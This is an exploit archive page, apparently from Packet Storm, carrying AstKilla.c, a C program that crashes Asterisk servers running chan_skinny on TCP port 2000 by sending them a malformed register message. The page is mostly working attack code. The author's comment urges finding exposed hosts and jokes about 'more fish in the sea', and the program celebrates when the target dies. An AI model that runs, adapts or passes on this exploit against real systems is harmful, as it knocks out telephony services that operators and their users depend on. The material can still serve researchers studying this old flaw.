what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

AstKilla.c

AstKilla.c
Posted Jul 19, 2007
Authored by fbffff

Asterisk versions below 1.2.22 / 1.4.8 / 2.2.1 chan_skinny remote denial of service exploit.

tags | exploit, remote, denial of service
SHA-256 | 64cc8a4e26bfcf491a1f465042972de07fe3bed01e14a2f8ba1b5bedddb0be1d

AstKilla.c

Change Mirror Download
/*
* AstKilla2.c
* gcc -o astkilla2 astkilla2.c
* ./astkilla2 -h 216.246.**.***
* In no event will the author of this source be liable for any loss or damage of a material or
* immaterial nature arising from access to, use or non-use of published information, or from misuse of the connection or technical faults.


chan_skinny runs on 2000/TCP if you find a host with this open there is a really decent chance it's a asterisk machine some admin
forgot to disable chan_skinny on (which is default).. this should be a to all of those who don't lock down what they dont need (what is this 1999 ?)

this is really quite old but as it turns out someone made the bug public, how sad.. but eh there are more fish in sea ;)
well here is a exploit for everyone who didn't take a look at the code.


-- = fbff = --

*/
#include <stdio.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
#include <netdb.h>
#include <netinet/tcp.h>

#define SKINNY_TCP_PORT 2000
#define CLEN 1024
#define SKINNY_MAX_SIZE 1000
#define REGISTER_MESSAGE 0x0001
struct register_message {
char name[16];
uint32_t userId;
uint32_t instance;
uint32_t ip;
uint32_t type;
uint32_t maxStreams;
};
struct skinny_client {
int sd;
struct sockaddr_in saddr;
int active;
char rhost[CLEN];
char username[CLEN];
char password[CLEN];
char packet[SKINNY_MAX_SIZE];
};
struct skinny_client_message {
int len;
int res;
int e; /* 12 bytes */
char *data;
};

struct skinny_client *g_sc;
struct messages {
int e;
char *human;
int (* const message_handler)(struct skinny_client *sc, struct skinny_client_message *scm);
} message_list[] = {
{0x81,"Register Ack Message\n", NULL},
{0x9b,"Capabilities Request Message\n",NULL},
{0x9f,"Reset Message\n", NULL}
};
int skinny_client_read(struct skinny_client *sc)
{
int ret;
int elm;
int type;
int i;
char buf[SKINNY_MAX_SIZE];
struct skinny_client_message scm;
memset(&scm,0x00,sizeof(struct skinny_client_message));
memset(&buf,0x00,sizeof(buf));
elm = (sizeof(message_list)/sizeof(struct messages));
ret = read(sc->sd,&buf,sizeof(buf));
if (ret == -1) {
printf("+++ GOOD NEWS THE REMOTE HOST IS DEAD! READ RETURNED -1 AND THE TCP CONNECTION HAS WENT BYEBYE\n");
return -1;
} else if (ret < sizeof(struct skinny_client_message) - 4){
printf("we got some data back from the server just to little of it!\n");
} else {
printf("++++ THINGS BROKE BUT THE HOST MAY STILL BE UP. HOW SAD\n");
}

return 0;
}
int skinny_client_sendmessage(struct skinny_client *sc, struct skinny_client_message *scm)
{
int res;
int len;
char *outbuf;
int test;

len = 90;
scm->len = 3;
outbuf = malloc(len);
if (!outbuf) {
return -1;
}
memset(outbuf,0x41,len);
/* place the 12 bytes header into outbuf */
memcpy(outbuf,scm,12);
/* place the data into outbuf */
memcpy(outbuf+12,scm->data,len-12);
res = write(sc->sd,outbuf,len);
printf("++ Wrote %i bytes\n", res);
return 0;
}

/* send out a client register message to the remote skinny node */
int skinny_client_register(struct skinny_client *sc)
{
struct skinny_client_message scm;
struct register_message *rm;
int len;

rm = malloc(sizeof(struct register_message )) + 4;

if (!rm) {
printf("we could not allocated space for the register message\n");
return -1;
}

len = sizeof(struct register_message);
scm.len = htonl(len);
scm.e = htonl(REGISTER_MESSAGE);
scm.data = (char *)rm;
strcpy(rm->name,"SEP0007EB463101\x00");
rm->type = 30006;
skinny_client_sendmessage(sc,&scm);
skinny_client_read(sc);
return 0;
}

int skinny_client_connect(struct skinny_client *sc)
{
int ret;
sc->sd = socket(AF_INET,SOCK_STREAM,0);
if (sc->sd == -1) {
return -1;
}
sc->saddr.sin_family = AF_INET;
sc->saddr.sin_port = htons(SKINNY_TCP_PORT);
sc->saddr.sin_addr.s_addr = inet_addr(sc->rhost);
ret = connect(sc->sd, (struct sockaddr *)&sc->saddr,sizeof(struct sockaddr));
if (ret != 0) {
printf("+++ UNABLE TO CONNECT TO REMOTE HOST 2000/TCP!\n");
return -1;
}
printf("+++ CONNECTION OK\n");
sc->active = 1;
return 0;
}

int main(int argc, char **argv)
{
int i;
struct skinny_client *sc;
pthread_attr_t attr;
sc = malloc(sizeof(struct skinny_client));
memset(sc,0,sizeof(struct skinny_client));

for (i=0;i<argc;i++) {
if (!strcmp(argv[i], "-h")) {
strcpy(sc->rhost,argv[i+1]);
}
}
if (*sc->rhost == 0) {
printf("+++ You must run with the -h option\n");
return 0;
}
skinny_client_connect(sc);
skinny_client_register(sc);

return 0;
}
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    0 Files
  • 11
    Sep 11th
    0 Files
  • 12
    Sep 12th
    0 Files
  • 13
    Sep 13th
    0 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close